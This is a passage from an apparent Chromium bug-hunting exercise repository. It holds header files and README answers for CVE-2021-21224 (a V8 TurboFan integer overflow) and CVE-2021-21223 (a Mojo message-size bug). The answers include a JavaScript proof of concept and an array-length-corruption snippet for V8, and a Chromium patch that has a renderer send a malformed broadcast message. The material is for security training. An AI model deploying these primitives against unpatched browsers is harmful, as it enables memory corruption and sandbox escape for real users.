ReportAnchorElementMetricsOnLoad( 107 | std::vector metrics, 108 | const gfx::Size& viewport_size) override; 109 | 110 | // content::WebContentsObserver: 111 | void OnVisibilityChanged(content::Visibility visibility) override; 112 | void DidStartNavigation( 113 | content::NavigationHandle* navigation_handle) override; 114 | 115 | // prerender::NoStatePrefetchHandle::Observer: 116 | void OnPrefetchStop(prerender::NoStatePrefetchHandle* handle) override; 117 | void OnPrefetchNetworkBytesChanged( 118 | prerender::NoStatePrefetchHandle* handle) override {} 119 | 120 | // Returns true if the anchor element metric from the renderer process is 121 | // valid. 122 | bool IsValidMetricFromRenderer( 123 | const blink::mojom::AnchorElementMetrics& metric) const; 124 | 125 | // Returns template URL service. Guaranteed to be non-null. 126 | TemplateURLService* GetTemplateURLService() const; 127 | 128 | // Merge anchor element metrics that have the same target url (href). 129 | void MergeMetricsSameTargetUrl( 130 | std::vector* metrics) const; 131 | 132 | // Computes and stores document level metrics, including |number_of_anchors_| 133 | // etc. 134 | void ComputeDocumentMetricsOnLoad( 135 | const std::vector& metrics); 136 | 137 | // Given metrics of an anchor element from both renderer and browser process, 138 | // returns navigation score. Virtual for testing purposes. 139 | virtual double CalculateAnchorNavigationScore( 140 | const blink::mojom::AnchorElementMetrics& metrics, 141 | int area_rank) const; 142 | 143 | // If |sum_page_scales_| is non-zero, return the page-wide score to add to 144 | // all the navigation scores. Computed once per page. 145 | double GetPageMetricsScore() const; 146 | 147 | // Given a vector of navigation scores sorted in descending order, decide what 148 | // action to take, or decide not to do anything. Example actions including 149 | // preresolve, preload, prerendering, etc. 150 | void MaybeTakeActionOnLoad( 151 | const GURL& document_url, 152 | const std::vector>& 153 | sorted_navigation_scores); 154 | 155 | // Decides whether to prefetch a URL and, if yes, calls Prefetch. 156 | void MaybePrefetch(); 157 | 158 | // Given a url to prefetch, uses NoStatePrefetchManager to start a 159 | // NoStatePrefetch of that URL. 160 | virtual void Prefetch( 161 | prerender::NoStatePrefetchManager* no_state_prefetch_manager, 162 | const GURL& url_to_prefetch); 163 | 164 | // Returns a collection of URLs that can be prefetched. Only one should be 165 | // prefetched at a time. 166 | std::deque GetUrlsToPrefetch( 167 | const GURL& document_url, 168 | const std::vector>& 169 | sorted_navigation_scores); 170 | 171 | // Record anchor element metrics on page load. 172 | void RecordMetricsOnLoad( 173 | const blink::mojom::AnchorElementMetrics& metric) const; 174 | 175 | // Record timing information when an anchor element is clicked. 176 | void RecordTimingOnClick(); 177 | 178 | // Records the accuracy of the action taken by the navigator predictor based 179 | // on the action taken as well as the URL that was navigated to. 180 | // |target_url| is the URL navigated to by the user. 181 | void RecordActionAccuracyOnClick(const GURL& target_url) const; 182 | 183 | // Records metrics on which action the predictor is taking. 184 | void RecordAction(Action log_action); 185 | 186 | // Sends metrics to the UKM id at |ukm_source_id_|. 187 | void MaybeSendMetricsToUkm() const; 188 | 189 | // After an in-page click, sends the index of the url that was clicked to the 190 | // UKM id at |ukm_source_id_|. 191 | void MaybeSendClickMetricsToUkm(const std::string& clicked_url) const; 192 | 193 | // Returns the minimum of the bucket that |value| belongs in, for page-wide 194 | // metrics, excluding |median_link_location_|. 195 | int GetBucketMinForPageMetrics(int value) const; 196 | 197 | // Returns the minimum of the bucket that |value| belongs in, used for 198 | // |median_link_location_| and the |ratio_distance_root_top|. 199 | int GetLinearBucketForLinkLocation(int value) const; 200 | 201 | // Returns the minimum of the bucket that |value| belongs in, used for 202 | // |ratio_area|. 203 | int GetLinearBucketForRatioArea(int value) const; 204 | 205 | // Notifies the keyed service of the updated predicted navigation. 206 | void NotifyPredictionUpdated( 207 | const std::vector>& 208 | sorted_navigation_scores); 209 | 210 | // Record metrics about how many prerenders were started and finished. 211 | void RecordActionAccuracyOnTearDown(); 212 | 213 | // Used to get keyed services. 214 | content::BrowserContext* const browser_context_; 215 | 216 | // Maps from target url (href) to navigation score. 217 | std::unordered_map> 218 | navigation_scores_map_; 219 | 220 | // Total number of anchors that: href has the same host as the document, 221 | // contains image, inside an iframe, href incremented by 1 from document url. 222 | int number_of_anchors_same_host_ = 0; 223 | int number_of_anchors_contains_image_ = 0; 224 | int number_of_anchors_in_iframe_ = 0; 225 | int number_of_anchors_url_incremented_ = 0; 226 | int number_of_anchors_ = 0; 227 | 228 | // Viewport-related metrics for anchor elements: the viewport size, 229 | // the median distance down the viewport of all the links, and the 230 | // total clickable space for first viewport links. |total_clickable_space_| is 231 | // a percent (between 0 and 100). 232 | gfx::Size viewport_size_; 233 | int median_link_location_ = 0; 234 | float total_clickable_space_ = 0; 235 | 236 | // Anchor-specific scaling factors used to compute navigation scores. 237 | const int ratio_area_scale_; 238 | const int is_in_iframe_scale_; 239 | const int is_same_host_scale_; 240 | const int contains_image_scale_; 241 | const int is_url_incremented_scale_; 242 | const int area_rank_scale_; 243 | const int ratio_distance_root_top_scale_; 244 | 245 | // Page-wide scaling factors used to compute navigation scores. 246 | const int link_total_scale_; 247 | const int iframe_link_total_scale_; 248 | const int increment_link_total_scale_; 249 | const int same_origin_link_total_scale_; 250 | const int image_link_total_scale_; 251 | const int clickable_space_scale_; 252 | const int median_link_location_scale_; 253 | const int viewport_height_scale_; 254 | const int viewport_width_scale_; 255 | 256 | // Sum of all scales for individual anchor metrics. 257 | // Used to normalize the final computed weight. 258 | const int sum_link_scales_; 259 | 260 | // Sum of all scales for page-wide metrics. 261 | const int sum_page_scales_; 262 | 263 | // True if device is a low end device. 264 | const bool is_low_end_device_; 265 | 266 | // Minimum score that a URL should have for it to be prefetched. Note 267 | // that scores of origins are computed differently from scores of URLs, so 268 | // they are not comparable. 269 | const int prefetch_url_score_threshold_; 270 | 271 | // True if |this| should use the NoStatePrefetchManager to prefetch. 272 | const bool prefetch_enabled_; 273 | 274 | // True by default, otherwise navigation scores will not be normalized 275 | // by the sum of metrics weights nor normalized from 0 to 100 across 276 | // all navigation scores for a page. 277 | const bool normalize_navigation_scores_; 278 | 279 | // A count of clicks to prevent reporting more than 10 clicks to UKM. 280 | size_t clicked_count_ = 0; 281 | 282 | // Whether a new navigation has started (only set if load event comes before 283 | // DidStartNavigation). 284 | bool next_navigation_started_ = false; 285 | 286 | // True if the source webpage (i.e., the page on which we are trying to 287 | // predict the next navigation) is a page from user's default search engine. 288 | bool source_is_default_search_engine_page_ = false; 289 | 290 | // Current visibility state of the web contents. 291 | content::Visibility current_visibility_; 292 | 293 | // Current prefetch handle. 294 | std::unique_ptr no_state_prefetch_handle_; 295 | 296 | // URL that we decided to prefetch, and are currently prefetching. 297 | base::Optional prefetch_url_; 298 | 299 | // An ordered list of URLs that should be prefetched in succession. 300 | std::deque urls_to_prefetch_; 301 | 302 | // URLs that were successfully prefetched. 303 | std::set urls_prefetched_; 304 | 305 | // URLs that scored above the threshold in sorted order. 306 | std::vector urls_above_threshold_; 307 | 308 | // URLs that had a prerender started, but were canceled due to background or 309 | // next navigation. 310 | std::set partial_prerfetches_; 311 | 312 | // UKM ID for navigation 313 | ukm::SourceId ukm_source_id_; 314 | 315 | // UKM recorder 316 | ukm::UkmRecorder* ukm_recorder_ = nullptr; 317 | 318 | // The URL of the current page. 319 | GURL document_url_; 320 | 321 | // WebContents of the current page. 322 | const content::WebContents* web_contents_; 323 | 324 | SEQUENCE_CHECKER(sequence_checker_); 325 | 326 | DISALLOW_COPY_AND_ASSIGN(NavigationPredictor); 327 | }; 328 | 329 | #endif // CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_ 330 | -------------------------------------------------------------------------------- /LEVEL_3/exercise_2/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 2 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. 4 | 5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details. 6 | 7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. 8 | 9 | ## CVE-2021-21224 10 | I sugget you don't search any report about it to prevents get too much info like patch. 11 | 12 | 13 | 14 | ### Details 15 | 16 | In level 3, we do it without the help of Details 17 | 18 | 19 | --------- 20 | 21 |
22 | For more info click me! But you'd better not do this 23 | 24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1195777 25 | 26 |
27 | 28 | -------- 29 | 30 | ### Set environment 31 | 32 | Welcome to V8 33 | 34 | if you have fetched v8, just 35 | ```sh 36 | git reset --hard f87baad0f8b3f7fda43a01b9af3dd940dd09a9a3 37 | gclient sync 38 | ``` 39 | But if you not 40 | ```sh 41 | # get depot_tools 42 | git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git 43 | # add to env var 44 | echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc 45 | # get v8 source code 46 | fetch v8 47 | # chenge to right commit 48 | cd v8 49 | git reset --hard f87baad0f8b3f7fda43a01b9af3dd940dd09a9a3 50 | # download others 51 | gclient sync 52 | ``` 53 | 54 | 55 | 56 | ### Related code 57 | 58 | src/compiler/representation-change.cc 59 | 60 | tips: Integer overflow 61 | 62 | ### Do it 63 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 64 | 65 | 66 | --------- 67 | 68 |
69 | My answer 70 | 71 | ```c++ 72 | // The {UseInfo} class is used to describe a use of an input of a node. 73 | // 74 | // This information is used in two different ways, based on the phase: 75 | // 76 | // 1. During propagation, the use info is used to inform the input node 77 | // about what part of the input is used (we call this truncation) and what 78 | // is the preferred representation. For conversions that will require 79 | // checks, we also keep track of whether a minus zero check is needed. 80 | // 81 | // 2. During lowering, the use info is used to properly convert the input 82 | // to the preferred representation. The preferred representation might be 83 | // insufficient to do the conversion (e.g. word32->float64 conv), so we also 84 | // need the signedness information to produce the correct value. 85 | // Additionally, use info may contain {CheckParameters} which contains 86 | // information for the deoptimizer such as a CallIC on which speculation 87 | // should be disallowed if the check fails. 88 | ``` 89 | 90 | When do truncation we need check the `{CheckParameters}` like `use_info.type_check() == TypeCheckKind::kSignedSmall`, and if the check fails will trigger deoptimize. 91 | 92 | ```c++ 93 | enum class TypeCheckKind : uint8_t { 94 | kNone, 95 | kSignedSmall, 96 | kSigned32, 97 | kSigned64, 98 | kNumber, 99 | kNumberOrBoolean, 100 | kNumberOrOddball, 101 | kHeapObject, 102 | kBigInt, 103 | kArrayIndex 104 | }; 105 | ``` 106 | 107 | The reasons for bug is missing a check of `use_info` 108 | ```c++ 109 | Node* RepresentationChanger::GetWord32RepresentationFor( 110 | Node* node, MachineRepresentation output_rep, Type output_type, 111 | Node* use_node, UseInfo use_info) { 112 | // Eagerly fold representation changes for constants. 113 | switch (node->opcode()) { 114 | case IrOpcode::kInt32Constant: 115 | case IrOpcode::kInt64Constant: 116 | case IrOpcode::kFloat32Constant: 117 | case IrOpcode::kFloat64Constant: 118 | UNREACHABLE(); 119 | case IrOpcode::kNumberConstant: { 120 | double const fv = OpParameter(node->op()); 121 | if (use_info.type_check() == TypeCheckKind::kNone || 122 | ((use_info.type_check() == TypeCheckKind::kSignedSmall || 123 | use_info.type_check() == TypeCheckKind::kSigned32 || 124 | use_info.type_check() == TypeCheckKind::kNumber || 125 | use_info.type_check() == TypeCheckKind::kNumberOrOddball || 126 | use_info.type_check() == TypeCheckKind::kArrayIndex) && 127 | IsInt32Double(fv))) { 128 | return MakeTruncatedInt32Constant(fv); 129 | } 130 | break; 131 | } 132 | default: 133 | break; 134 | } 135 | 136 | // Select the correct X -> Word32 operator. 137 | const Operator* op = nullptr; 138 | if (output_type.Is(Type::None())) { 139 | // This is an impossible value; it should not be used at runtime. 140 | return jsgraph()->graph()->NewNode( 141 | jsgraph()->common()->DeadValue(MachineRepresentation::kWord32), node); 142 | [ ... ] 143 | } else if (output_rep == MachineRepresentation::kWord8 || 144 | output_rep == MachineRepresentation::kWord16) { 145 | DCHECK_EQ(MachineRepresentation::kWord32, use_info.representation()); 146 | DCHECK(use_info.type_check() == TypeCheckKind::kSignedSmall || 147 | use_info.type_check() == TypeCheckKind::kSigned32); 148 | return node; 149 | } else if (output_rep == MachineRepresentation::kWord64) { 150 | if (output_type.Is(Type::Signed32()) || 151 | output_type.Is(Type::Unsigned32())) { 152 | op = machine()->TruncateInt64ToInt32(); [1] 153 | } else if (output_type.Is(cache_->kSafeInteger) && 154 | use_info.truncation().IsUsedAsWord32()) { 155 | op = machine()->TruncateInt64ToInt32(); 156 | ``` 157 | [1] Truncate Int64 To Int32 without check. This lead to Integer overflow. 158 | 159 | We should search for how can we insert one `TruncateInt64ToInt32` node. I have no idea about it but I guess `kWord64` var as `Signed32` and `Unsigned32` can convert from Int64 to Int32, and we can set 0xffffffff for y(Word32) and if convert to int32 can be -1. 160 | 161 | **Poc** 162 | ```js 163 | function foo(a) 164 | { 165 | let x = -1; 166 | if(a) x = 0xffffffff; 167 | return -1 < Math.max(x,0); 168 | } 169 | 170 | console.log(foo(true)) //prints true 171 | for (let i = 0; i < 0x10000; ++i) foo(false) 172 | console.log(foo(true)) //prints false 173 | ``` 174 | When construct Poc of turbofan, we need analysis turbolizer or break at `../../src/compiler/representation-change.cc:853` to know whether we get kWord64 and convert to int32. I get this poc form [there](https://iamelli0t.github.io/2021/04/20/Chromium-Issue-1196683-1195777.html#rca-of-issue-1195777) 175 | 176 | checkbounds—elimination had been bannde and `Array.prototype.shift()` is a trick which has been patched now, but this commit can trigger it, we can make array length == -1 by shift 177 | ```js 178 | let vuln_array = new Array(0 - Math.max(0, x)); 179 | vuln_array.shift(); 180 | ``` 181 | 182 | full exp can be found [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1195777#c15) 183 | 184 |
185 | 186 | -------- 187 | -------------------------------------------------------------------------------- /LEVEL_3/exercise_3/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 3 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. 4 | 5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details. 6 | 7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. 8 | 9 | ## CVE-2021-21223 10 | I sugget you don't search any report about it to prevents get too much info like patch. 11 | 12 | 13 | 14 | ### Details 15 | 16 | In level 3, we do it without the help of Details 17 | 18 | 19 | --------- 20 | 21 |
22 | For more info click me! But you'd better not do this 23 | 24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1195308 25 | 26 |
27 | 28 | -------- 29 | 30 | ### Set environment 31 | 32 | after fetch chromium 33 | ```sh 34 | git reset --hard 5fea97e8b681c0a0e142f68ed03d5c4cc5862672 35 | ``` 36 | 37 | 38 | 39 | ### Related code 40 | 41 | mojo/core/node_channel.cc 42 | 45 | 46 | read this [design doc](https://chromium.googlesource.com/chromium/src/+/6740adb28374ddeee13febfd5e5d20cb8a365979/mojo/core#mojo-core-overview) about `mojo-code`, you can understand source code faster. 47 | 48 | 49 | ### Do it 50 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 51 | 52 | 53 | --------- 54 | 55 |
56 | My answer 57 | 58 | I have notice one func, and this is the only func I suspect. 59 | ```c++ 60 | // static 61 | void NodeChannel::GetEventMessageData(Channel::Message* message, 62 | void** data, 63 | size_t* num_data_bytes) { 64 | // NOTE: OnChannelMessage guarantees that we never accept a Channel::Message 65 | // with a payload of fewer than |sizeof(Header)| bytes. 66 | *data = reinterpret_cast(message->mutable_payload()) + 1; 67 | *num_data_bytes = message->payload_size() - sizeof(Header); 68 | } 69 | ``` 70 | The **comment** reminds me, `NOTE: OnChannelMessage guarantees that we never accept a Channel::Message with a payload of fewer than |sizeof(Header)| bytes.` 71 | 72 | Can we make `message->payload_size()` less than `sizeof(Header)`? First we need bypass OnChannelMessage to get here. 73 | 74 | ```c++ 75 | void NodeChannel::OnChannelMessage(const void* payload, 76 | size_t payload_size, 77 | std::vector handles) { 78 | DCHECK(owning_task_runner()->RunsTasksInCurrentSequence()); 79 | 80 | RequestContext request_context(RequestContext::Source::SYSTEM); 81 | 82 | if (payload_size <= sizeof(Header)) { [1] 83 | delegate_->OnChannelError(remote_node_name_, this); 84 | return; 85 | } 86 | //[ ... ] 87 | case MessageType::BROADCAST_EVENT: { 88 | if (payload_size <= sizeof(Header)) 89 | break; 90 | const void* data = static_cast( 91 | reinterpret_cast(payload) + 1); 92 | Channel::MessagePtr message = 93 | Channel::Message::Deserialize(data, payload_size - sizeof(Header)); 94 | if (!message || message->has_handles()) { 95 | DLOG(ERROR) << "Dropping invalid broadcast message."; 96 | break; 97 | } 98 | delegate_->OnBroadcast(remote_node_name_, std::move(message)); [2] 99 | return; 100 | } 101 | ``` 102 | [1] check `payload_size <= sizeof(Header)` at begain of OnChannelMessage, and I will explain [2] alter. 103 | 104 | We can search for which func call `GetEventMessageData` 105 | ```c++ 106 | ports::ScopedEvent DeserializeEventMessage( 107 | const ports::NodeName& from_node, 108 | Channel::MessagePtr channel_message) { 109 | void* data; 110 | size_t size; 111 | NodeChannel::GetEventMessageData(channel_message.get(), &data, &size); [3] 112 | auto event = ports::Event::Deserialize(data, size); 113 | if (!event) 114 | return nullptr; 115 | [ ... ] 116 | } 117 | =========================================================== 118 | // static 119 | Channel::MessagePtr UserMessageImpl::FinalizeEventMessage( 120 | std::unique_ptr message_event) { 121 | [ ... ] 122 | if (channel_message) { 123 | void* data; 124 | size_t size; 125 | NodeChannel::GetEventMessageData(channel_message.get(), &data, &size); [4] 126 | message_event->Serialize(data); 127 | } 128 | return channel_message; 129 | } 130 | ``` 131 | [3] and [4] both call `GetEventMessageData`, I analysis `DeserializeEventMessage` 132 | ```c++ 133 | void NodeController::BroadcastEvent(ports::ScopedEvent event) { 134 | Channel::MessagePtr channel_message = SerializeEventMessage(std::move(event)); 135 | DCHECK(channel_message && !channel_message->has_handles()); 136 | 137 | scoped_refptr broker = GetBrokerChannel(); 138 | if (broker) 139 | broker->Broadcast(std::move(channel_message)); 140 | else 141 | OnBroadcast(name_, std::move(channel_message)); [5] 142 | } 143 | ================================================================= 144 | void NodeController::OnBroadcast(const ports::NodeName& from_node, 145 | Channel::MessagePtr message) { 146 | DCHECK(!message->has_handles()); 147 | 148 | auto event = DeserializeEventMessage(from_node, std::move(message)); [6] 149 | [ ... ] 150 | ``` 151 | [6] call `DeserializeEventMessage` and `BroadcastEvent` call `OnBroadcast`, this is different from [2]. [2] will check `if (payload_size <= sizeof(Header))` before call `OnBroadcast`. And this way have no check so far, maybe I am wrong. 152 | 153 | 154 | **Poc** 155 | >To reproduce the issue, please patch chrome through the following patch 156 | ```diff 157 | diff --git a/mojo/core/node_channel.cc b/mojo/core/node_channel.cc 158 | index c48fb573fea9..7ce197a579f5 100644 159 | --- a/mojo/core/node_channel.cc 160 | +++ b/mojo/core/node_channel.cc 161 | @@ -17,7 +17,7 @@ 162 | #include "mojo/core/configuration.h" 163 | #include "mojo/core/core.h" 164 | #include "mojo/core/request_context.h" 165 | - 166 | +#include "base/trace_event/trace_event.h" 167 | namespace mojo { 168 | namespace core { 169 | 170 | @@ -327,12 +327,23 @@ void NodeChannel::AcceptInvitee(const ports::NodeName& inviter_name, 171 | 172 | void NodeChannel::AcceptInvitation(const ports::NodeName& token, 173 | const ports::NodeName& invitee_name) { 174 | - AcceptInvitationData* data; 175 | - Channel::MessagePtr message = CreateMessage( 176 | - MessageType::ACCEPT_INVITATION, sizeof(AcceptInvitationData), 0, &data); 177 | - data->token = token; 178 | - data->invitee_name = invitee_name; 179 | - WriteChannelMessage(std::move(message)); 180 | + if (base::trace_event::TraceLog::GetInstance()->process_name() == 181 | + "Renderer") { 182 | + void* data; 183 | + Channel::MessagePtr broadcast_message = 184 | + CreateMessage(MessageType::BROADCAST_EVENT, 16, 0, &data); 185 | + uint32_t buffer[] = {16, 16 + 0x10000, 0, 0}; 186 | + memcpy(data, buffer, sizeof(buffer)); 187 | + WriteChannelMessage(std::move(broadcast_message)); 188 | + } else { 189 | + AcceptInvitationData* data; 190 | + Channel::MessagePtr message = CreateMessage( 191 | + MessageType::ACCEPT_INVITATION, sizeof(AcceptInvitationData), 0, 192 | + &data); 193 | + data->token = token; 194 | + data->invitee_name = invitee_name; 195 | + WriteChannelMessage(std::move(message)); 196 | + } 197 | } 198 | 199 | void NodeChannel::AcceptPeer(const ports::NodeName& sender_name, 200 | ``` 201 | 202 |
203 | 204 | -------- 205 | -------------------------------------------------------------------------------- /LEVEL_3/exercise_3/node_channel.h: -------------------------------------------------------------------------------- 1 | // Copyright 2016 The Chromium Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style license that can be 3 | // found in the LICENSE file. 4 | 5 | #ifndef MOJO_CORE_NODE_CHANNEL_H_ 6 | #define MOJO_CORE_NODE_CHANNEL_H_ 7 | 8 | #include 9 | #include 10 | 11 | #include "base/callback.h" 12 | #include "base/containers/queue.h" 13 | #include "base/macros.h" 14 | #include "base/memory/ref_counted_delete_on_sequence.h" 15 | #include "base/process/process.h" 16 | #include "base/process/process_handle.h" 17 | #include "base/single_thread_task_runner.h" 18 | #include "base/synchronization/lock.h" 19 | #include "build/build_config.h" 20 | #include "mojo/core/channel.h" 21 | #include "mojo/core/connection_params.h" 22 | #include "mojo/core/embedder/process_error_callback.h" 23 | #include "mojo/core/ports/name.h" 24 | #include "mojo/core/system_impl_export.h" 25 | 26 | namespace mojo { 27 | namespace core { 28 | 29 | constexpr uint64_t kNodeCapabilityNone = 0; 30 | constexpr uint64_t kNodeCapabilitySupportsUpgrade = 1; 31 | 32 | // Wraps a Channel to send and receive Node control messages. 33 | class MOJO_SYSTEM_IMPL_EXPORT NodeChannel 34 | : public base::RefCountedDeleteOnSequence, 35 | public Channel::Delegate { 36 | public: 37 | class Delegate { 38 | public: 39 | virtual ~Delegate() = default; 40 | virtual void OnAcceptInvitee(const ports::NodeName& from_node, 41 | const ports::NodeName& inviter_name, 42 | const ports::NodeName& token) = 0; 43 | virtual void OnAcceptInvitation(const ports::NodeName& from_node, 44 | const ports::NodeName& token, 45 | const ports::NodeName& invitee_name) = 0; 46 | virtual void OnAddBrokerClient(const ports::NodeName& from_node, 47 | const ports::NodeName& client_name, 48 | base::ProcessHandle process_handle) = 0; 49 | virtual void OnBrokerClientAdded(const ports::NodeName& from_node, 50 | const ports::NodeName& client_name, 51 | PlatformHandle broker_channel) = 0; 52 | virtual void OnAcceptBrokerClient(const ports::NodeName& from_node, 53 | const ports::NodeName& broker_name, 54 | PlatformHandle broker_channel, 55 | const uint64_t broker_capabilities) = 0; 56 | virtual void OnEventMessage(const ports::NodeName& from_node, 57 | Channel::MessagePtr message) = 0; 58 | virtual void OnRequestPortMerge(const ports::NodeName& from_node, 59 | const ports::PortName& connector_port_name, 60 | const std::string& token) = 0; 61 | virtual void OnRequestIntroduction(const ports::NodeName& from_node, 62 | const ports::NodeName& name) = 0; 63 | virtual void OnIntroduce(const ports::NodeName& from_node, 64 | const ports::NodeName& name, 65 | PlatformHandle channel_handle, 66 | const uint64_t remote_capabilities) = 0; 67 | virtual void OnBroadcast(const ports::NodeName& from_node, 68 | Channel::MessagePtr message) = 0; 69 | #if defined(OS_WIN) 70 | virtual void OnRelayEventMessage(const ports::NodeName& from_node, 71 | base::ProcessHandle from_process, 72 | const ports::NodeName& destination, 73 | Channel::MessagePtr message) = 0; 74 | virtual void OnEventMessageFromRelay(const ports::NodeName& from_node, 75 | const ports::NodeName& source_node, 76 | Channel::MessagePtr message) = 0; 77 | #endif 78 | virtual void OnAcceptPeer(const ports::NodeName& from_node, 79 | const ports::NodeName& token, 80 | const ports::NodeName& peer_name, 81 | const ports::PortName& port_name) = 0; 82 | virtual void OnChannelError(const ports::NodeName& node, 83 | NodeChannel* channel) = 0; 84 | }; 85 | 86 | static scoped_refptr Create( 87 | Delegate* delegate, 88 | ConnectionParams connection_params, 89 | Channel::HandlePolicy channel_handle_policy, 90 | scoped_refptr io_task_runner, 91 | const ProcessErrorCallback& process_error_callback); 92 | 93 | static Channel::MessagePtr CreateEventMessage(size_t capacity, 94 | size_t payload_size, 95 | void** payload, 96 | size_t num_handles); 97 | 98 | static void GetEventMessageData(Channel::Message* message, 99 | void** data, 100 | size_t* num_data_bytes); 101 | 102 | // Start receiving messages. 103 | void Start(); 104 | 105 | // Permanently stop the channel from sending or receiving messages. 106 | void ShutDown(); 107 | 108 | // Leaks the pipe handle instead of closing it on shutdown. 109 | void LeakHandleOnShutdown(); 110 | 111 | // Invokes the bad message callback for this channel. To avoid losing error 112 | // reports the caller should ensure that the channel |HasBadMessageHandler| 113 | // before calling |NotifyBadMessage|. 114 | void NotifyBadMessage(const std::string& error); 115 | 116 | // Returns whether the channel has a bad message handler. 117 | bool HasBadMessageHandler() { return !process_error_callback_.is_null(); } 118 | 119 | void SetRemoteProcessHandle(base::Process process_handle); 120 | bool HasRemoteProcessHandle(); 121 | base::Process CloneRemoteProcessHandle(); 122 | 123 | // Used for context in Delegate calls (via |from_node| arguments.) 124 | void SetRemoteNodeName(const ports::NodeName& name); 125 | 126 | void AcceptInvitee(const ports::NodeName& inviter_name, 127 | const ports::NodeName& token); 128 | void AcceptInvitation(const ports::NodeName& token, 129 | const ports::NodeName& invitee_name); 130 | void AcceptPeer(const ports::NodeName& sender_name, 131 | const ports::NodeName& token, 132 | const ports::PortName& port_name); 133 | void AddBrokerClient(const ports::NodeName& client_name, 134 | base::Process process_handle); 135 | void BrokerClientAdded(const ports::NodeName& client_name, 136 | PlatformHandle broker_channel); 137 | void AcceptBrokerClient(const ports::NodeName& broker_name, 138 | PlatformHandle broker_channel, 139 | const uint64_t broker_capabilities); 140 | void RequestPortMerge(const ports::PortName& connector_port_name, 141 | const std::string& token); 142 | void RequestIntroduction(const ports::NodeName& name); 143 | void Introduce(const ports::NodeName& name, 144 | PlatformHandle channel_handle, 145 | uint64_t capabilities); 146 | void SendChannelMessage(Channel::MessagePtr message); 147 | void Broadcast(Channel::MessagePtr message); 148 | void BindBrokerHost(PlatformHandle broker_host_handle); 149 | 150 | uint64_t RemoteCapabilities() const; 151 | bool HasRemoteCapability(const uint64_t capability) const; 152 | void SetRemoteCapabilities(const uint64_t capability); 153 | 154 | uint64_t LocalCapabilities() const; 155 | bool HasLocalCapability(const uint64_t capability) const; 156 | void SetLocalCapabilities(const uint64_t capability); 157 | 158 | #if defined(OS_WIN) 159 | // Relay the message to the specified node via this channel. This is used to 160 | // pass windows handles between two processes that do not have permission to 161 | // duplicate handles into the other's address space. The relay process is 162 | // assumed to have that permission. 163 | void RelayEventMessage(const ports::NodeName& destination, 164 | Channel::MessagePtr message); 165 | 166 | // Sends a message to its destination from a relay. This is interpreted by the 167 | // receiver similarly to EventMessage, but the original source node is 168 | // provided as additional message metadata from the (trusted) relay node. 169 | void EventMessageFromRelay(const ports::NodeName& source, 170 | Channel::MessagePtr message); 171 | #endif 172 | 173 | void OfferChannelUpgrade(); 174 | 175 | private: 176 | friend class base::RefCountedDeleteOnSequence; 177 | friend class base::DeleteHelper; 178 | 179 | using PendingMessageQueue = base::queue; 180 | using PendingRelayMessageQueue = 181 | base::queue>; 182 | 183 | NodeChannel(Delegate* delegate, 184 | ConnectionParams connection_params, 185 | Channel::HandlePolicy channel_handle_policy, 186 | scoped_refptr io_task_runner, 187 | const ProcessErrorCallback& process_error_callback); 188 | ~NodeChannel() override; 189 | 190 | // Creates a BrokerHost to satisfy a |BindBrokerHost()| request from the other 191 | // end of the channel. 192 | void CreateAndBindLocalBrokerHost(PlatformHandle broker_host_handle); 193 | 194 | // Channel::Delegate: 195 | void OnChannelMessage(const void* payload, 196 | size_t payload_size, 197 | std::vector handles) override; 198 | void OnChannelError(Channel::Error error) override; 199 | 200 | void WriteChannelMessage(Channel::MessagePtr message); 201 | 202 | // This method is responsible for setting up the default set of capabilities 203 | // for this channel. 204 | void InitializeLocalCapabilities(); 205 | 206 | Delegate* const delegate_; 207 | const ProcessErrorCallback process_error_callback_; 208 | 209 | base::Lock channel_lock_; 210 | scoped_refptr channel_ GUARDED_BY(channel_lock_); 211 | 212 | // Must only be accessed from the owning task runner's thread. 213 | ports::NodeName remote_node_name_; 214 | 215 | uint64_t remote_capabilities_ = kNodeCapabilityNone; 216 | uint64_t local_capabilities_ = kNodeCapabilityNone; 217 | 218 | base::Lock remote_process_handle_lock_; 219 | base::Process remote_process_handle_; 220 | 221 | DISALLOW_COPY_AND_ASSIGN(NodeChannel); 222 | }; 223 | 224 | } // namespace core 225 | } // namespace mojo 226 | 227 | #endif // MOJO_CORE_NODE_CHANNEL_H_ 228 | -------------------------------------------------------------------------------- /LEVEL_3/exercise_4/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 4 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. 4 | 5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details. 6 | 7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. 8 | 9 | ## CVE-2021-21207 10 | I sugget you don't search any report about it to prevents get too much info like patch. 11 | 12 | 13 | 14 | ### Details 15 | 16 | In level 3, we do it without the help of Details 17 | 18 | 19 | --------- 20 | 21 |
22 | For more info click me! But you'd better not do this 23 | 24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1185732 25 | 26 |
